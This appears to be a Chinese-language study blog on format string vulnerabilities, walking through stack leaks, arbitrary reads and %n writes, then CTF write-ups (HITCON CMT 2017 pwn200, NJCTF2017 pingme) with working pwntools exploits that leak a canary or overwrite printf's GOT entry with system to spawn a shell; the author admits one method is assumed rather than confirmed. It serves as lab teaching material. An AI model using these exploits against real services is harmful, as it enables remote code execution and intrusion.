基本原理

格式化字符串漏洞如今在桌面端已经比较少见了,但在物联网设备上依然层出不穷。

原理通过一个例子来说明

1
2
3
4
5
6
7
#include <stdio.h>

int main()
{
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "test");
return 0;
}
1
gcc -g -m32 -z execstack -no-pie -fno-stack-protector main.c 

gdb 调试起来,在printf函数那下断点,观察参数

此时栈上的参数为这些(绿色),但是%s %d %s %x %x %x %3$s ( %$3s 是打印可变参数中的第3个,以字符串的形式打印), 但是由于格式化要求的参数和实际提供的参数不一致,所以它会继续从栈上取参数,即红色的部分,这样就造成了数据的泄露

所以,格式化字符串漏洞发生的条件就是 格式字符串要求的参数和实际提供的参数不匹配

漏洞利用

对于格式化字符串漏洞的利用主要有:使程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖、任意地址内存覆盖

使程序崩溃

在Linux中,存取无效的指针会使进程收到SIGSEGV信号,从而使程序非正常终止并产生核心转储,其中存储了程序崩溃时的许多重要信息,而这些信息正是攻击者所需要的。使用类似下面的格式字符串即可触发崩溃。

1
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");
  1. 对于每一个%s, printf 都要从栈上获取一个数字,将其视为字符串的地址进行打印,直到出现一个空字符
  2. 获取的某个数字可能不是一个地址
  3. 获取的数字确实是一个地址,但是这个地址时受保护的

栈数据泄露

使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化函数获得内存数据,为漏洞利用做准备。

用以下代码测试

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

int main()
{
char format[128];
int arg1 = 1, arg2 =0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");

return 0;
1
2
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie main.c -o fmtdemo

输入 %08x.%08x.%08x.%08x.%08x 作为格式化字符串

观察栈,绿框中是5个参数

因为输入了5个%08x,所以在可变参数中要打印出5个来,而现在只有4个,剩下那个它就顺着栈继续往下找了,即打印的0xffffcf64

现在已经知道了如何按顺序泄露栈数据,那么如果想直接泄露指定的某个数据,则可以用下面类似的格式字符串,这里的n表示位于格式字符串后的第n个数据,即可变参数中第几个(从1开始)

%<arg#>$<format> 例如 %3$x表示以16进制形式打印第3个可变参数,下面进行测试

输入: %3$x.%1$08x

输出:

任意地址内存泄露

我们可以使用类似%s格式规范,可以泄露出参数(指针)所指向的内存的数据,程序会将它作为一个ASCII字符串处理,直到遇到空字符,如果我们可以操控这个参数的值,那么就可以泄露出任意地址的内容。

输入%4$s,然后在call 0x8048350 <printf@plt>调用前下断点,观察栈的情况

接下来尝试获取任意内存的数据,输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

发现0X41414141存在可变参数的第13个位置上,所以,只要输入AAAA%13$s就可以读取0x41414141这个地址的数据了,虽然0x41414141并不是个有效的地址,但是我们可以把它变为合法的地址然后再次输入

比如ABCD字符串的地址是0xffffcf5a,所以我们用此地址测试

1
python -c 'print("\x5a\xcf\xff\xff.%13$s")' > text

于是打印出了字符串ABCD,我们可以利用这种方法,把某函数的GOT地址传进去,这样就可以得到虚拟地址了,然后根据其在libc的偏移吗,就可以得到任意函数地址,比如 system()

1
python -c "print('\x18\xa0\x04\x08' + '.%13$s')" > text 

这里用 0x804a00c 这个地址的话会有问题,估计是r < ./text的原因,书上说的是不可见字符的原因,同样会被省略的还有\x07, \x08, \x20等

虽然0xf7e3fe00仍然是个指针,不是字符数据,打印并不成功,但是借助pwntools可以得到地址数据并进行利用(后面看到这里的时候再说。。。。)

栈数据覆盖

通过%n转换提示符,可以将当前已经成功写入流或缓冲区的字符个数存储到由参数指定的整数中。

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>

int main()
{
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);

return 0;
}

回到fmtdemo那个程序,尝试将argv2改为其他0x20

看到argv2的地址时0xffffcf38,于是构造字符串’\x38\xcf\xff\xff%08x%08x%012x%13$n’ 在printf那里下断点

任意地址内存覆盖

用上面的方法 ‘\x38\xcf\xff\xff%08x%08x%012x%13$n’ ,只能赋值最小为4的数据,因为前面’\x38\xcf\xff\xff’ 就占了4个字节

使用’AA%15$nA’ + ‘\x38\xcf\xff\xff’ 的方法就可以赋值 < 4的数据, 要是赋值一个特别大的数据怎么办,可以直接类似%0123214c的形式,但是这样做占用的内存空间太大,往往会覆盖其他重要的地址而出错。所以,我们尝试通过修改长度修饰符来更改值的大小。

%hhn(单字节), %hn(双字节), %n(4字节), %ln(8字节), %lln(16字节)

接下来我们尝试将0x12345678写入到0xffffcf38的位置, 先尝试输入AAAABBBBCCCCDDDD来看看这几个参数的位置。发现是可变参数的13,14,15,16的位置

1
2
3
4
0xffffcf64 -> 0x41414141 (0xffffcf38) -> \x78
0xffffcf68 -> 0x42424242 (0xffffcf39) -> \x56
0xffffcf6c -> 0x43434343 (0xffffcf40) -> \x34
0xffffcf70 -> 0x44444444 (0xffffcf41) -> \x12

构造特殊格式化字符

1
2
'\x38\xcf\xff\xff' + '\x39\xcf\xff\xff'+ '\x3a\xcf\xff\xff'+ '\x3b\xcf\xff\xff' + 
'%104c%13$hhn' + '%222c%14$hhn' + '%222c%15$hhn' + '%222c%16$hhn'
1
echo "\x38\xcf\xff\xff\x39\xcf\xff\xff\x3a\xcf\xff\xff\x3b\xcf\xff\xff%104c%13\$hhn%222c%14\$hhn%222c%15\$hhn%222c%16\$hhn" > text

运行printf之后

x86-64中的格式化字符串漏洞

在Linux中,前6个参数分别通过RDI, RSI, RDX, RCX, R8, R9传递,在Windows中,前4个参数通过RCX, RDX, R8, R9传递。

将程序编译成64位

1
gcc -g  -z execstack -no-pie -fno-stack-protector main.c -o fmtdemo64

gdb调试, 输入 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

可以发现AAAAAAAA在%8$p的位置,这个时候我们无法修改argv2的值了,因为她被放在了寄存器中

fmtstr模块

通过下面例子练习fmtstr模块

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main()
{
char str[1024];
while(1){
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
return 0;
}

为了方便测试,关闭ASLR, 关闭PIE。思路就是将printf的地址改为system的地址,然后输入参数/bin/sh 来get shell

exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


elf = ELF("./test")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process('./test')

def exec_fmt(payload): # 与服务器交互的函数
io.sendline(payload)
info = io.recv()
return info


auto = FmtStr(exec_fmt) # 在初始化的时候就计算出了offset,假如输入AAAA,则offset的含义就是AAAA在可变参数中第几个,即%{offset}$s
offset = auto.offset

# print(offset)
printf_got = elf.got['printf']
payload = p32(printf_got) + '%{}$s'.format(offset).encode('ascii') # 获取printf_got这个地址的数据,即printf的地址
io.send(payload)
printf_addr = u32(io.recv()[4:8])


libc_address = printf_addr - libc.symbols['printf']
system_addr = libc_address + libc.symbols['system'] # 根据偏移获取system的地址

log.info("system_addr : %s" % hex(system_addr))

payload = fmtstr_payload(offset, {printf_got : system_addr}) # 将printf_got这个地址处的数据改为system_addr
io.send(payload)
io.send('/bin/sh') # 此时printf已经改为了system,发送/bin/sh获取shell
io.recv()

io.interactive()

HITCON CMT 2017: pwn200

本题没有从网上找到附件,因为书上给了源码,直接手动编译下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>

void canary_protect_me(void)
{
system("/bin/sh");
}

int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin,0,1, 0);
char buf[40];
gets(buf);
printf(buf);
gets(buf);

return 0;
}
1
gcc -m32 -z noexecstack -no-pie pwn200.c -o pwn200.c

程序开启了Canary,而程序也留有1个后门canary_protect_me,所以我们通过格式化漏洞泄露出canary的值,然后再栈溢出漏洞覆盖掉返回值

因为最后这里,esp = [ebp-4]-4, 所以我们要知道ebp的值,然后+4,填到这个位置。(这也导致了下面的EXP和书上的有所不同

搭建pwn环境

1
nohup socat tcp4-listen:10001,reuseaddr,fork exec:./pwn200 &

EXP为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

backdoor = 0x8048566
#io = process("./pwn200")
io = remote('127.0.0.1', 10001)

payload1 = b"%15$x"
ebp = 0xffffcf98 # 通过调试得到 "%17$x"得到的数 - 24 就是EBP的值,所以多次尝试,发现%17$x的值一样

io.sendline(payload1)
canary = int(io.recv().decode(), 16)
log.info("canary: "+ hex(canary))

payload2 = b'A'* 40 + p32(canary) + b'A'*4 + p32(ebp+4)+ p32(backdoor)
# gdb.attach(io)
# pause()
io.sendline(payload2)
# pause()
io.interactive()

这里写上了EBP的地址,但我知道其实做法肯定是不对的,玩意ebp每次都变,那么将无解,所以正确的做法这里我也不会,(以后碰到了有同种类型的题再研究

NJCTF2017: pingme

本题没有给出二进制文件,但是通过输入输出猜测是格式化字符串漏洞,可以无限利用漏洞,于是先把程序dump下来

搭建本地环境

1
nohup socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
io = remote("127.0.0.1", 10001)

def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info

def dump_memory(start_addr, end_addr):
result = b""
while start_addr < end_addr:
io = remote("127.0.0.1", 10001)
io.recvline()
payload = b"%9$s.AAA" + p32(start_addr)
io.sendline(payload)
data = io.recvuntil(b'.AAA')[:-4]
if data == b"":
data = b"\x00"
log.info("leaking: {0} --- > {1}".format(hex(start_addr), data))
result += data
start_addr += len(data)
io.close()
return result

io.recvline()
auto = FmtStr(exec_fmt)
offset = auto.offset
print(offset) # 7

start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
f.write(code_bin)

成功将程序dump下来,思路是将printf的地址修改为system的地址,然后输入/bin/sh获取shell

对于获取libc的基地址以及system函数的地址有2种方法,第一种方法是泄露出printf函数的地址,然后根据此地址去libc-database去查询,第二种方法用DynELF来获取system的地址,这里第一种方法失败了,不知道为啥,这里先记录下(假设能成功。。。。能以后了解的多了再回来解决这个问题

方法一

先查询got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
readelf -r code.bin 

Relocation section '.rel.dyn' at offset 0x35c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049960 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
080499a0 00000d05 R_386_COPY 080499a0 stdin@GLIBC_2.0
080499a4 00000b05 R_386_COPY 080499a4 stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x374 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
08049970 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
08049974 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
08049978 00000307 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0
0804997c 00000407 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0
08049980 00000507 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
08049984 00000707 R_386_JUMP_SLOT 00000000 strchr@GLIBC_2.0
08049988 00000807 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804998c 00000907 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08049990 00000a07 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

io = remote("127.0.0.1", 10001)
context.log_level = "debug"
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info

def method_1(printf_addr):
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_addr = printf_addr - libc.symbols['printf']
log.info("libc_addr: %#x" % libc_addr)
system_addr = libc_addr + libc.symbols['system']
log.info("system_addr: %#x" % system_addr)
return system_addr

printf_got = 0x08049974
payload = b"%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = io.recvuntil(b'.AAA')[:4]
printf_addr = u32(data)
log.info("printf_addr: %#x" % printf_addr)
io.recvline()

# 0xf7e2d520

可以得到printf的地址是0xf7e2d520 ,然后拿着这个地址和printf去Libc-database去搜,但是我没搜到。。。。

1
2
3
4
5
6
7
8
9
10
11
12
╭─ ~/Desktop/testC/fmt_test                                                                                                               
╰─ uname -a
Linux ubuntu 5.4.0-104-generic #118~18.04.1-Ubuntu SMP Thu Mar 3 13:53:15 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
╭─ ~/Desktop/testC/fmt_test
╰─ ldd code.bin
linux-gate.so.1 (0xf7fd5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ddc000)
/lib/ld-linux.so.2 (0xf7fd6000)

╭─ ~/Desktop/testC/fmt_test
╰─ ls -l /lib/i386-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 1月 24 20:53 /lib/i386-linux-gnu/libc.so.6 -> libc-2.27.so

我的虚拟机环境是这样

只能假设搜到了这个libc,然后再获取system的地址覆盖就OK了

EXP为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
io = remote("127.0.0.1", 10001)
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info

def method_1(printf_addr):
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_addr = printf_addr - libc.symbols['printf']
log.info("libc_addr: %#x" % libc_addr)
system_addr = libc_addr + libc.symbols['system']
log.info("system_addr: %#x" % system_addr)
return system_addr

io.recvline()
auto = FmtStr(exec_fmt)
offset = auto.offset
print(offset)

printf_got = 0x08049974
payload = b"%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = io.recvuntil(b'.AAA')[:4]
printf_addr = u32(data)
log.info("printf_addr: %#x" % printf_addr)
io.recvline()

system_addr = method_1(printf_addr)
payload = fmtstr_payload(offset, {printf_got: system_addr}, write_size='short') # 这个地方要注意一下,题目限制了payload的长度,所以把write_size从byte改为short就可以缩短payload的长度
log.info("len_payload : " + str(len(payload)))
print(payload)

io.sendline(payload)
io.recv()
io.sendline(b"/bin/sh")
io.interactive()

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from binascii import *
io = remote("127.0.0.1", 10001)


# context.log_level = "debug"

def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info

def leak(addr):
io.recvline()
payload = b'%9$s.AAA' + p32(addr)
io.sendline(payload)
data = io.recvuntil(b'.AAA')[:-4] + b'\x00' # \x00 字符串结尾
log.info('leaking: {0}: {1}'.format(hex(addr), hexlify(data)))
return data


printf_got = 0x08049974

# data = DynELF(leak, elf=ELF("./code.bin"))
data = DynELF(leak, 0x08048490)
system_addr = data.lookup('system', 'libc')
log.info("ststem_addr : {}".format(hex(system_addr)))

payload = fmtstr_payload(7, {printf_got: system_addr}, write_size='short')
log.info("len_payload : " + str(len(payload)))
print(payload)

io.sendline(payload)
io.recv()
io.sendline(b"/bin/sh")
io.interactive()